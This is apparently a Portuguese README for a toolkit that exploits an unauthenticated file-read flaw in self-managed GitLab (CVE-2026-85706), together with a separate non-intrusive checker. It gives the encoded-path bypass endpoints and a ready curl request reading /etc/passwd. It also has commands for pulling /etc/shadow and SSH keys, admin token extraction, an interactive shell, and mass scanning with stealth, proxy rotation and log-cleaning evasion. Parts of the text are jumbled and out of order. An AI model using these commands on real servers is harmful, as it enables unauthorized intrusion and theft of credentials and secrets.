
Python toolkit para leitura não autenticada de arquivos no GitLab (CVE-2026-85706): exploit weaponizado com loot, shell, varredura em massa, além de auditoria e relatórios não intrusivos com o SafeChecker.

⚠️ USO ÉTICO APENAS – TESTES DE SEGURANÇA AUTORIZADOS
Este repositório fornece ferramentas apenas para profissionais de segurança autorizados, blue teams e testadores de penetração.
O acesso não autorizado a sistemas de computador é ilegal sob o CFAA (EUA), Computer Misuse Act (Reino Unido), TCK 243/244 (Turquia) e leis similares em todo o mundo.
CVE‑2026‑85706 é uma vulnerabilidade crítica de leitura arbitrária de arquivos locais sem autenticação no GitLab CE/EE auto-gerenciado (versões 18.7 a 19.3.1) que permite a um atacante não autenticado ler qualquer arquivo no servidor através de uma única requisição HTTP para a API de commits.
%63ommits./api/v4/projects/{id}/repository/commits abre o arquivo especificado em file.path antes que a autenticação seja aplicada.%-sequence inválida, o Rack ecoa o conteúdo em um corpo 400 Bad Request, vazando o conteúdo completo.| Ferramenta | Propósito | Usuário Pretendido |
|---|---|---|
exploit.py | Kit de ferramentas completo com leitura de arquivos não autenticada, enumeração de loot, extração de token de admin, varredura em massa, shell interativo, rotação de proxy, modo stealth e relatórios em múltiplos formatos. | Red teams / pentesters autorizados |
safechecker.py | Verificador de vulnerabilidade não intrusivo que detecta a versão do GitLab, valida a exposição, audita cabeçalhos de segurança e avalia o risco sem ler nenhum arquivo. Gera relatórios JSON/CSV/HTML. | Blue teams / auditores de segurança |
| Recurso | exploit.py | safechecker.py |
|---|---|---|
| Detecção de vulnerabilidade | ✅ | ✅ |
| Detecção de versão | ✅ | ✅ |
| Leitura de arquivos não autenticada | ✅ | ❌ |
| Enumeração de loot | ✅ | ❌ |
| Extração de token de admin | ✅ | ❌ |
| Shell interativo | ✅ | ❌ |
| Varredura em massa (multi-thread) | ✅ | ✅ |
| Auditoria de cabeçalhos de segurança | ❌ | ✅ |
| Verificação de TLS/certificado | ❌ | ✅ |
| Mapeamento MITRE ATT&CK | ✅ | ✅ |
| Suporte a proxy | ✅ | ✅ |
| Rotação de proxy | ✅ | ❌ |
| Rotação de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter / atraso (OPSEC) | ✅ | ❌ |
| Limitador de taxa adaptativo | ✅ | ✅ |
| Modo stealth | ✅ | ❌ |
| Impersonação de TLS com curl_cffi | ✅ | ❌ |
| Modo não intrusivo (seguro) | ❌ | ✅ |
| Saída JSON / JSONL / CSV / HTML | ✅ | ✅ |
| Saída em banco SQLite | ✅ | ❌ |
| Notificação via Webhook | ✅ | ✅ |
| Diff contra varredura anterior | ✅ | ✅ |
| Cenário | Ferramenta Recomendada |
|---|---|
| Blue Team – verificar se seu GitLab é vulnerável | safechecker.py |
| Auditoria de Segurança – avaliação de vulnerabilidade não intrusiva | safechecker.py |
| Red Team – teste de penetração autorizado com exploração completa | exploit.py |
| Bug Bounty – teste de divulgação responsável | safechecker.py |
| Varredura em Massa – verificar múltiplos alvos quanto à vulnerabilidade | exploit.py (somente detecção) |
| Resposta a Incidentes – verificar se os sistemas foram comprometidos | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py| Parâmetro | Descrição |
|---|---|
-u, --url | URL de alvo único (ex.: https://gitlab.example.com) |
-f, --file | Arquivo contendo lista de alvos (um por linha) |
--pipe | Ler alvos do stdin (pipeline subfinder/httpx) |
--read | Caminho(s) absoluto(s) para ler, separados por vírgula |
--wordlist | Arquivo com caminhos para ler (um por linha) |
--project-id | Forçar um ID de projeto específico |
--max-projects | Máximo de IDs de projeto a tentar (padrão: 8) |
--auto | Coletar automaticamente arquivos de alto valor do GitLab |
--loot | O mesmo que --auto |
--shell | Shell interativo após a exploração |
--force | Escanear mesmo se a impressão digital do GitLab for fraca |
-t, --threads | Threads para múltiplos alvos (padrão: 8) |
--timeout | Timeout HTTP (padrão: 15s) |
--retry | Número de tentativas (padrão: 3) |
--retry-on | Códigos HTTP para tentar novamente (padrão: 429,500,502,503,504) |
--proxy | Proxy HTTP/HTTPS |
--proxy-list | Arquivo com proxies para rotação |
--proxy-rotate | Estratégia de rotação: round-robin, random, sticky |
--jitter | Adicionar jitter aleatório entre requisições |
--jitter-range | Jitter mín,máx segundos (padrão: 0.1,2.0) |
--delay | Atraso fixo entre requisições |
--stealth | Ativar modo stealth (rotação de UA + X-Forwarded-For) |
safechecker.py| Parâmetro | Descrição |
|---|---|
-u, --url | URL de alvo único (ex.: https://gitlab.example.com) |
-f, --file | Arquivo com alvos (um por linha) |
-t, --threads | Threads para múltiplos alvos (padrão: 5) |
--timeout | Timeout HTTP (padrão: 10s) |
--rate-limit | Máximo de requisições por segundo (0 = ilimitado) |
--user-agent | String de User-Agent personalizada |
--insecure | Desativar verificação TLS (risco de MITM) |
--webhook | URL de webhook (slack:, discord:, telegram:) |
--diff | Comparar com JSON de varredura anterior |
-v, --verbose | Saída detalhada |
-o, --output | Arquivo de saída JSON |
--csv | Arquivo de saída CSV |
--report | Arquivo de relatório HTML |
--mitre | Incluir mapeamento MITRE ATT&CK (padrão: ativado) |
| # | Cenário | Comando |
|---|---|---|
| 1 | Verificação rápida de vulnerabilidade | python safechecker.py -u https://gitlab.example.com |
| 2 | Auditoria detalhada com relatório | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | Auditoria em massa a partir de arquivo | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | Exploit somente detecção | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | Ler um único arquivo | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | Ler múltiplos arquivos | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | Coleta automática de arquivos de alto valor | python exploit.py -u https://gitlab.example.com --auto |
| 8 | Shell interativo | python exploit.py -u https://gitlab.example.com --shell |
| 9 | Exploit em massa com stealth | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | Pipeline a partir do subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | Ataque completo com saída SIEM | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | Retomar varredura interrompida | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | Comparar duas varreduras | python safechecker.py -f targets.txt -o new.json --diff previous.json |
O exploit usa os seguintes endpoints do GitLab e técnicas de bypass:
| Passo | Método | Endpoint | Descrição |
|---|---|---|---|
| 1. Bypass | POST | /api/v4/projects/{id}/repository/%63ommits | c codificado contorna o Workhorse |
| 2. Bypass | POST | /api/v4/projects/{id}/%72epository/commits | r codificado em repository |
| 3. Bypass | POST | /api/v4/projects/{id}/repository/commits/ | Bypass com barra final |
| 4. Bypass | POST | /api/v4/projects/{id}/repository/commits.json | Bypass com sufixo de formato Grape |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | Rota alternativa |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
Este software é fornecido para propósitos educacionais e testes de segurança autorizados apenas.
| Limpeza de logs (anti-forense) |
| ✅ |
| ❌ |
| User‑Agent personalizado | ✅ | ✅ |
| Controle de verificação SSL | ✅ | ✅ |
--curl-cffi | Usar curl_cffi para impersonação de impressão digital TLS |
--user-agent-file | Arquivo com strings de User-Agent |
--max-body | Tamanho máximo do corpo da resposta (0 = ilimitado) |
--concurrent-per-host | Máximo de requisições concorrentes por host |
--rate-limit | Máximo de requisições por segundo (0 = ilimitado) |
--exclude | Hosts a excluir, separados por vírgula (padrões glob) |
--grep | Mostrar apenas vazamentos que correspondam à regex |
--resume | Retomar a partir do arquivo de estado |
--notify | URL de notificação (slack:, discord:, telegram:) |
--db | Salvar resultados em banco de dados SQLite |
--output-format | Formato de saída: json, jsonl, csv, html |
-o, --output | Caminho do arquivo de saída |
-v, --verbose | Saída detalhada |
-q, --quiet | Modo silencioso |
--no-color | Desativar cores |
--no-banner | Sem banner |
--config | Arquivo de configuração YAML/JSON |
--dry-run | Mostrar plano sem fazer requisições |
--safe-mode | Ler apenas /etc/hostname para verificar |
--timeout-profile | aggressive, normal, stealth |
--mitre | Incluir mapeamento MITRE ATT&CK |
--fingerprint | Impressão digital detalhada do GitLab |
--cve-check | Verificar CVEs relacionadas |
--json-schema | Saída com esquema JSON para SIEM |
--progress | Mostrar barra de progresso (requer rich) |